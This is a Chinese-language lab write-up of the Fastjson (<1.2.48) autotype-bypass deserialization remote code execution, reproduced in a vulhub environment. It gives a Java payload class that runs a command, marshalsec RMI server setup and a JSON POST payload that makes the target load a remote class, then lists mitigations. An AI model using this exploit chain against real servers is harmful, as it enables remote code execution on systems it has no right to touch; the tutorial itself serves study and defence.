0x00 影响版本

fastjson< 1.2.48

0x01 漏洞原理

Fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。

通过java.lang.Class，将JdbcRowSetImpl类加载到map缓存，从而绕过autotype的检测。因此将payload分两次发送，第一次加载，第二次执行。默认情况下，只要遇到没有加载到缓存的类，checkautotype就会抛出异常并中止。当发送第一次请求时，Class是通过deserializers.findClass加载的，将JdbcRowSetImpl类加载进map中，然后第二次请求时，成功找到了JdbcRowSetImpl类，绕过检测。

0x02 漏洞环境搭建和利用

下载地址：

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

使用vulhub里的fastjson/1.2.47-rce作为漏洞环境

首先创建一个TouchFile.java(执行命令为创建文件)

import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

编译java，启动web服务，class文件地址为

http://192.168.1.102:/TouchFile.class

下载marshalsec项目(快速开启rmi服务)

https://github.com/mbechler/marshalsec

下载安装maven后修改环境变量

https://maven.apache.org/download.cgi

修改maven为国内源

vim/opt/apache-maven-3.6.3/conf/settings.xml

编译项目marshalsec

mvnclean package -DskipTests

启动一个RMI服务器，监听9999端口，并制定加载远程类TouchFile.class

发送数据包如下：

看到数据被靶机下载(因其他原因监听80改为3333。实验不受影响)

返回靶机查看命令被执行

0x03 EXP

marshalsec

https://github.com/mbechler/marshalsec

TouchFile.java:

import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

POST 数据包

"a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}

0x04 防御措施

临时措施：

WAF拦截Json请求中的多种编码形式的‘@type’，‘\u0040type’等字样；

根除措施：

升级Fastjosn到1.2.58版本，并关闭Autotype；